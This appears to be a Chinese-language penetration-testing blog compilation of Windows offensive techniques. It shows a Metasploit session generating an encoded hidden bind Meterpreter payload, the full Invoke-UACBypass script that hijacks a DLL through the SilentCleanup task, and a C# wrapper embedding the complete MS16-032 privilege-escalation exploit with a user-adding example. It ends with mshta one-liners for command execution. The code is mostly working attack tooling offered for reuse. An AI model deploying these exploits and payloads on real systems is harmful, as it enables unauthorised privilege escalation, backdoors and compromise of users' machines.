Shellter Custom payload

msf > show payloads
msf > use windows/meterpreter/bind_hidden_ipknock_tcp
msf payload(bind_hidden_ipknock_tcp) > show options
 
Module options (payload/windows/meterpreter/bind_hidden_ipknock_tcp):
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: , , seh, thread, process, none)
KHOST                      yes       IP address allowed
LPORT     4444             yes       The listen port
RHOST                      no        The target address
msf payload(bind_hidden_ipknock_tcp) > set EXITFUNC thread
msf payload(bind_hidden_ipknock_tcp) > set KHOST 8.8.8.8
msf payload(bind_hidden_ipknock_tcp) > set LPORT 5555
msf payload(bind_hidden_ipknock_tcp) > generate -E -e x86/shikata_ga_nai -t raw -f custom_payload
[*] Writing 386 bytes to custom_payload...

BypassUac On Win10 Using Disk Cleanup

最近看到enigma0x3博客上分享了一种通过Disk Cleanup计划任务进行bypassuac的姿势,感觉还是不错的,所以在这儿分享一下。原文在这里 戳我
关于BypassUAC工具已经很多了,有个非常不错的工具 UACME

简单的说一下通过Disk Cleanup进行bypassuac的原理。

Win10有一个计划任务叫做SilentCleanup,具体位置在\Microsoft\Windows\DiskCleanup

1.png

从图中可以看出,这个计划任务是会使用最高权限运行程序的,而加载此计划任务不需要最高权限。

此任务执行会运行cleanmgr.exe,而且会创建一个新的文件夹“C:\Users\<username>\AppData\Local\Temp\<GUID>” 并将dismhost.exe以及其使用的相关DLL文件复制到这个文件夹下面。

lala.png

当dismhost.exe运行时,会加载其要使用的DLL文件,由于当前目录是在%TEMP%,所以完全可以进行DLL劫持,测试发现LogProvider.dll是最后一个加载的DLL,可以被我们利用,所以只需要把这个DLL替换成我们的恶意DLL,那么这个计划任务运行的时候,我们的DLL就会被加载,达到BypassUAC的目的。为了能马上进行BypassUAC,可以使用WMI来运行这个计划任务。作者已经给出了利用脚本,链接 BypassUAC , 测试DLL链接:MessageBox

有兴趣的测测看吧~

作者代码被墙了,贴在了下面:

function Invoke-UACBypass {
<#
.SYNOPSIS

Bypasses UAC on Windows 10 by abusing the SilentCleanup task to win a race condition, allowing for a DLL hijack without a privileged file copy.

Author: Matthew Graeber (@mattifestation), Matt Nelson (@enigma0x3)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

.PARAMETER DllPath

Specifies the path to the DLL you want executed in a high integrity context. Be mindful of the architecture of the DLL. It must match that of %SystemRoot%\System32\Dism\LogProvider.dll.

.EXAMPLE

Invoke-UACBypass -DllPath C:\Users\TestUser\Desktop\Win10UACBypass\PrivescTest.dll

.EXAMPLE

Invoke-UACBypass -DllPath C:\Users\TestUser\Desktop\TotallyLegit.txt -Verbose

The DllPath can have any extension as long as the file itself is a DLL.
#>

    [CmdletBinding()]
    [OutputType([System.IO.FileInfo])]
    Param (
        [Parameter(Mandatory = $True)]
        [String]
        [ValidateScript({ Test-Path $_ })]
        $DllPath
    )

    $PrivescAction = {
        $ReplacementDllPath = $Event.MessageData.DllPath
        # The newly created GUID folder
        $DismHostFolder = $EventArgs.NewEvent.TargetInstance.Name
        
        $OriginalPreference = $VerbosePreference

        # Force -Verbose to display in the event
        if ($Event.MessageData.VerboseSet -eq $True) {
            $VerbosePreference = 'Continue'
        }

        Write-Verbose "DismHost folder created in $DismHostFolder"
        Write-Verbose "$ReplacementDllPath to $DismHostFolder\LogProvider.dll"
            
        try {
            $FileInfo = Copy-Item -Path $ReplacementDllPath -Destination "$DismHostFolder\LogProvider.dll" -Force -PassThru -ErrorAction Stop
        } catch {
            Write-Warning "Error copying file! Message: $_"
        }

        # Restore the event preference
        $VerbosePreference = $OriginalPreference

        if ($FileInfo) {
            # Trigger Wait-Event to return and indicate success.
            New-Event -SourceIdentifier 'DllPlantedSuccess' -MessageData $FileInfo
        }
    }

    $VerboseSet = $False
    if ($PSBoundParameters['Verbose']) { $VerboseSet = $True }

    $MessageData = New-Object -TypeName PSObject -Property @{
        DllPath = $DllPath
        VerboseSet = $VerboseSet # Pass the verbose preference to the scriptblock since
                                 # event scriptblocks will not automatically honor -Verbose.
    }

    $TempDrive = $Env:TEMP.Substring(0,2)

    # Trigger the DLL dropper with the following conditions:
    #  1) A directory is created - i.e. new Win32_Directory instance
    #  2) The directory created is created under %TEMP%
    #  3) The directory name is in the form of a GUID
    $TempFolderCreationEvent = "SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA `"Win32_Directory`" AND TargetInstance.Drive = `"$TempDrive`" AND TargetInstance.Path = `"$($Env:TEMP.Substring(2).Replace('\', '\\'))\\`" AND TargetInstance.FileName LIKE `"________-____-____-____-____________`""
    
    $TempFolderWatcher = Register-WmiEvent -Query $TempFolderCreationEvent -Action $PrivescAction -MessageData $MessageData

    # We need to jump through these hoops to properly capture stdout and stderr of schtasks.
    $StartInfo = New-Object Diagnostics.ProcessStartInfo
    $StartInfo.FileName = 'schtasks'
    $StartInfo.Arguments = '/Run /TN "\Microsoft\Windows\DiskCleanup\SilentCleanup" /I'
    $StartInfo.RedirectStandardError = $True
    $StartInfo.RedirectStandardOutput = $True
    $StartInfo.UseShellExecute = $False
    $Process = New-Object Diagnostics.Process
    $Process.StartInfo = $StartInfo
    $null = $Process.Start()
    $Process.WaitForExit()
    $Stdout = $Process.StandardOutput.ReadToEnd().Trim()
    $Stderr = $Process.StandardError.ReadToEnd().Trim()

    if ($Stderr) {
        Unregister-Event -SubscriptionId $TempFolderWatcher.Id
        throw "SilentCleanup task failed to execute. Error message: $Stderr"
    } else {
        if ($Stdout.Contains('is currently running')) {
            Unregister-Event -SubscriptionId $TempFolderWatcher.Id
            Write-Warning 'SilentCleanup task is already running. Please wait until the task has completed.'
        }

        Write-Verbose "SilentCleanup task executed successfully. Message: $Stdout"
    }

    $PayloadExecutedEvent = Wait-Event -SourceIdentifier 'DllPlantedSuccess' -Timeout 10

    Unregister-Event -SubscriptionId $TempFolderWatcher.Id

    if ($PayloadExecutedEvent) {
        Write-Verbose 'UAC bypass was successful!'

        # Output the file info for the DLL that was planted
        $PayloadExecutedEvent.MessageData

        $PayloadExecutedEvent | Remove-Event
    } else {
        # The event timed out.
        Write-Error 'UAC bypass failed. The DLL was not planted in its target.'
    }
}

编译你的Powershell( MS16-032为例)

授人以鱼不如授人以渔

之前的MS16-032是个powershell脚本,怎么样改成exe呢,很简单。使用.net直接简单的修改编译就可以了。已经改好的代码在这里:

戳我

gist貌似被墙了,我在这里也贴一下:

/*
Author: Evilcg, Twitter: @Evilcg
Step One:
PS C:\> [psobject].Assembly.Location
C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
Step Two:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe  /reference:"C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /out:MS16_032.exe MS16_032.cs
*/

// Windows 10 reference may be Here: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35
using System;
using System.IO;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Text;
using System.Threading.Tasks;
using System.Management.Automation;
using System.Management.Automation.Host;
using System.Management.Automation.Runspaces;

namespace ConsoleApplication1
{
    class Program
    {
        static string _application;
        static string _commandline;
        static int Main(string[] args)
        {
             if (args.Length == 0)
            {
                System.Console.WriteLine("Usage: MS16_032.exe calc.exe OR MS16_032.exe cmd.exe \"/c clac.exe\"");
                return 1;
            }
             else if (args.Length ==1)
            {

                _application = args[0];         
                PowerShellExecutor t = new PowerShellExecutor();
                t.ExecuteSynchronously(_application, "");
            }
            else if(args.Length == 2)
            {
                _application = args[0];
                _commandline = args[1];
                PowerShellExecutor t = new PowerShellExecutor();
                t.ExecuteSynchronously(_application, _commandline);
            }
            return 0;
            
        }
    }

    class PowerShellExecutor
    {
        public static string PSInvoke_MS16_032 = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(@"function Invoke-MS16-032 {
<#
.SYNOPSIS
    
    PowerShell implementation of MS16-032. The exploit targets all vulnerable
    operating systems that support PowerShell v2+. Credit for the discovery of
    the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
    
    Targets:
    
    * Win7-Win10 & 2k8-2k12 <== 32/64 bit!
    * Tested on x32 Win7, x64 Win8, x64 2k12R2
    
    Notes:
    
    * In order for the race condition to succeed the machine must have 2+ CPU
      cores. If testing in a VM just make sure to add a core if needed mkay.
    * The exploit is pretty reliable, however ~1/6 times it will say it succeeded
      but not spawn a shell. Not sure what the issue is but just re-run and profit!
    * Want to know more about MS16-032 ==>
      https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html

.DESCRIPTION
    Author: Ruben Boonen (@FuzzySec)
    Blog: http://www.fuzzysecurity.com/
    License: BSD 3-Clause
    Required Dependencies: PowerShell v2+
    Optional Dependencies: None

.PARAMETER Application

Specifies an Application to run.

.PARAMETER Commandline

Specifies Commandline, such as net user xxx xxx /add
    
.EXAMPLE
    C:\PS> Invoke-MS16-032 -Application C:\Windows\System32\cmd.exe
    C:\PS> Invoke-MS16-032 -Application C:\Windows\System32\cmd.exe -Commandline "/c net user 1 1 /add"

#>
  [CmdletBinding()]
    param(
        [Parameter(Mandatory = $False, ParameterSetName = 'C:\Windows\System32\cmd.exe' )]
        [string]
        $Application,

        [Parameter(Mandatory = $False)]
        [string]
        $Commandline
        )


    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Security.Principal;
    
    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public int dwProcessId;
        public int dwThreadId;
    }
    
    [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
    public struct STARTUPINFO
    {
        public Int32 cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public Int32 dwX;
        public Int32 dwY;
        public Int32 dwXSize;
        public Int32 dwYSize;
        public Int32 dwXCountChars;
        public Int32 dwYCountChars;
        public Int32 dwFillAttribute;
        public Int32 dwFlags;
        public Int16 wShowWindow;
        public Int16 cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }
    
    [StructLayout(LayoutKind.Sequential)]
    public struct SQOS
    {
        public int Length;
        public int ImpersonationLevel;
        public int ContextTrackingMode;
        public bool EffectiveOnly;
    }
    
    public static class Advapi32
    {
        [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
        public static extern bool CreateProcessWithLogonW(
            String userName,
            String domain,
            String password,
            int logonFlags,
            String applicationName,
            String commandLine,
            int creationFlags,
            int environment,
            String currentDirectory,
            ref  STARTUPINFO startupInfo,
            out PROCESS_INFORMATION processInformation);
            
        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool SetThreadToken(
            ref IntPtr Thread,
            IntPtr Token);
            
        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool OpenThreadToken(
            IntPtr ThreadHandle,
            int DesiredAccess,
            bool OpenAsSelf,
            out IntPtr TokenHandle);
            
        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool OpenProcessToken(
            IntPtr ProcessHandle, 
            int DesiredAccess,
            ref IntPtr TokenHandle);
            
        [DllImport("advapi32.dll", SetLastError=true)]
        public extern static bool DuplicateToken(
            IntPtr ExistingTokenHandle,
            int SECURITY_IMPERSONATION_LEVEL,
            ref IntPtr DuplicateTokenHandle);
    }
    
    public static class Kernel32
    {
        [DllImport("kernel32.dll")]
        public static extern uint GetLastError();
    
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern IntPtr GetCurrentProcess();
    
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern IntPtr GetCurrentThread();
        
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern int GetThreadId(IntPtr hThread);
        
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern int GetProcessIdOfThread(IntPtr handle);
        
        [DllImport("kernel32.dll",SetLastError=true)]
        public static extern int SuspendThread(IntPtr hThread);
        
        [DllImport("kernel32.dll",SetLastError=true)]
        public static extern int ResumeThread(IntPtr hThread);
        
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool TerminateProcess(
            IntPtr hProcess,
            uint uExitCode);
    
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool CloseHandle(IntPtr hObject);
        
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool DuplicateHandle(
            IntPtr hSourceProcessHandle,
            IntPtr hSourceHandle,
            IntPtr hTargetProcessHandle,
            ref IntPtr lpTargetHandle,
            int dwDesiredAccess,
            bool bInheritHandle,
            int dwOptions);
    }
    
    public static class Ntdll
    {
        [DllImport("ntdll.dll", SetLastError=true)]
        public static extern int NtImpersonateThread(
            IntPtr ThreadHandle,
            IntPtr ThreadToImpersonate,
            ref SQOS SecurityQualityOfService);
    }
"@

    function Get-ThreadHandle {
        # StartupInfo Struct
        $StartupInfo = New-Object STARTUPINFO
        $StartupInfo.dwFlags = 0x00000101 # STARTF_USESTDHANDLES
            $StartupInfo.wShowWindow = 0;
        $StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
        $StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
        $StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
        $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
        
        # ProcessInfo Struct
        $ProcessInfo = New-Object PROCESS_INFORMATION
        
        # CreateProcessWithLogonW --> lpCurrentDirectory
        $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
        
        # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
        $CallResult = [Advapi32]::CreateProcessWithLogonW(
            "user", "domain", "pass",
            0x00000002, "C:\Windows\System32\notepad.exe", "",
            0x00000004, $null, $GetCurrentPath,
            [ref]$StartupInfo, [ref]$ProcessInfo)
        
        # Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
        $lpTargetHandle = [IntPtr]::Zero
        $CallResult = [Kernel32]::DuplicateHandle(
            $ProcessInfo.hProcess, 0x4,
            [Kernel32]::GetCurrentProcess(),
            [ref]$lpTargetHandle, 0, $false,
            0x00000002)
        
        # Clean up suspended process
        $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
        
        $lpTargetHandle
    }
    
    function Get-SystemToken {
        echo "`n[?] Trying thread handle: $Thread"
        echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
    
        $CallResult = [Kernel32]::SuspendThread($Thread)
        if ($CallResult -ne 0) {
            echo "[!] $Thread is a bad thread, moving on.."
            Return
        } echo "[+] Thread suspended"
        
        echo "[>] Wiping current impersonation token"
        $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
        if (!$CallResult) {
            echo "[!] SetThreadToken failed, moving on.."
            $CallResult = [Kernel32]::ResumeThread($Thread)
            echo "[+] Thread resumed!"
            Return
        }
        
        echo "[>] Building SYSTEM impersonation token"
        # SecurityQualityOfService struct
        $SQOS = New-Object SQOS
        $SQOS.ImpersonationLevel = 2 #SecurityImpersonation
        $SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
        # Undocumented API's, I like your style Microsoft ;)
        $CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
        if ($CallResult -ne 0) {
            echo "[!] NtImpersonateThread failed, moving on.."
            $CallResult = [Kernel32]::ResumeThread($Thread)
            echo "[+] Thread resumed!"
            Return
        }
    
        $script:SysTokenHandle = [IntPtr]::Zero
        # 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
        $CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
        if (!$CallResult) {
            echo "[!] OpenThreadToken failed, moving on.."
            $CallResult = [Kernel32]::ResumeThread($Thread)
            echo "[+] Thread resumed!"
            Return
        }
        
        echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
        echo "[+] Resuming thread.."
        $CallResult = [Kernel32]::ResumeThread($Thread)
    }
    
    # main() <--- ;)
    $ms16032 = @"
     __ __ ___ ___   ___     ___ ___ ___ 
    |  V  |  _|_  | |  _|___|   |_  |_  |
    |     |_  |_| |_| . |___| | |_  |  _|
    |_|_|_|___|_____|___|   |___|___|___|
                                        
                   [by b33f -> @FuzzySec]
"@
    
    $ms16032
    
    # Check logical processor count, race condition requires 2+
    echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
    if ($([System.Environment]::ProcessorCount) -lt 2) {
        echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
        Return
    }
    
    # Create array for Threads & TID's
    $ThreadArray = @()
    $TidArray = @()
    
    echo "[>] Duplicating CreateProcessWithLogonW handles.."
    # Loop Get-ThreadHandle and collect thread handles with a valid TID
    for ($i=0; $i -lt 500; $i++) {
        $hThread = Get-ThreadHandle
        $hThreadID = [Kernel32]::GetThreadId($hThread)
        # Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
        if ($TidArray -notcontains $hThreadID) {
            $TidArray += $hThreadID
            if ($hThread -ne 0) {
                $ThreadArray += $hThread # This is what we need!
            }
        }
    }
    
    if ($($ThreadArray.length) -eq 0) {
        echo "[!] No valid thread handles were captured, exiting!"
        Return
    } else {
        echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
        echo "`n[?] Thread handle list:"
        $ThreadArray
    }
    
    echo "`n[*] Sniffing out privileged impersonation token.."
    foreach ($Thread in $ThreadArray){
    
        # Get handle to SYSTEM access token
        Get-SystemToken
        
        echo "`n[*] Sniffing out SYSTEM shell.."
        echo "`n[>] Duplicating SYSTEM token"
        $hDuplicateTokenHandle = [IntPtr]::Zero
        $CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
        
        # Simple PS runspace definition
        echo "[>] Starting token race"
        $Runspace = [runspacefactory]::CreateRunspace()
        $StartTokenRace = [powershell]::Create()
        $StartTokenRace.runspace = $Runspace
        $Runspace.Open()
        [void]$StartTokenRace.AddScript({
            Param ($Thread, $hDuplicateTokenHandle)
            while ($true) {
                $CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
            }
        }).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
        $AscObj = $StartTokenRace.BeginInvoke()
        
        echo "[>] Starting process race"
        # Adding a timeout (10 seconds) here to safeguard from edge-cases
        $SafeGuard = [diagnostics.stopwatch]::StartNew()
        while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
        # StartupInfo Struct
        $StartupInfo = New-Object STARTUPINFO
        $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
        $StartupInfo.dwFlags = 0x00000101 # STARTF_USESTDHANDLES
            $StartupInfo.wShowWindow = 0;
        # ProcessInfo Struct
        $ProcessInfo = New-Object PROCESS_INFORMATION
        
        # CreateProcessWithLogonW --> lpCurrentDirectory
        $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
        
        # LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
        $CallResult = [Advapi32]::CreateProcessWithLogonW(
            "user", "domain", "pass",
            0x00000002, $Application,$Commandline,
            0x00000004, $null, $GetCurrentPath,
            [ref]$StartupInfo, [ref]$ProcessInfo)
            
        $hTokenHandle = [IntPtr]::Zero
        $CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
        # If we can't open the process token it's a SYSTEM shell!
        if (!$CallResult) {
            echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
            $CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
            $StartTokenRace.Stop()
            $SafeGuard.Stop()
            Return
        }
            
        # Clean up suspended process
        $CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
        $CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
        }
        
        # Kill runspace & stopwatch if edge-case
        $StartTokenRace.Stop()
        $SafeGuard.Stop()
    }
}"));
        public void ExecuteSynchronously(string aplication,string commandline)
        {
            string Commandout;
            InitialSessionState iss = InitialSessionState.CreateDefault();
            Runspace rs = RunspaceFactory.CreateRunspace(iss);
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript(PSInvoke_MS16_032);
            if (commandline != "")
            {
                 Commandout = "Invoke-MS16-032 -Application \"" + aplication + "\" -Commandline " + "\""+commandline+"\"";
            }
            else{
                 Commandout = "Invoke-MS16-032 -Application " + aplication;
            }
            Console.WriteLine(Commandout);
            ps.AddScript(Commandout);
            ps.AddCommand("Out-Default");
            ps.Invoke();
            rs.Close();
        }
    }
}

base64的内容是 https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1 的所有内容的base64编码(你可以使用你自己的powershell脚本),由于我改的这个是有参数的,所以简单的写了上面的c#代码,通过.net来执行powershell。

编译需要System.Management.Automation.dll,具体步骤在cs文件里面已经写了,你们自己编译吧,只是对本机进行了测试,没测试别的,测试Demo如下:

http://static.wooyun.org/upload/image/201606/2016063013052815262.gif

通过.net来执行powershell,并不需要powershell.exe 。详情可以看一下 p0wnedShell 或者 http://zone.wooyun.org/content/26831

.net 2.0下编译的版本在这里

Exec Commands Via Mshta.exe

用“世界上最好的编程语言”制作的敲诈者木马揭秘的时候发现,攻击者使用mshta来执行命令,之前没怎么接触过,查了查资料也不是很多,mshta是用来执行hta文件的,经过测试发现,其实没有hta文件,也可以通过mshta来执行命令的,经过几次测试发现mshta不仅可以使用vbscript,而且可以使用javascript来执行命令,整理payload如下:

VBSCRIPT EXEC

mshta vbscript:CreateObject("Wscript.Shell").Run("calc.exe",0,true)(window.close)

JAVASCRIPT EXEC

mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);}

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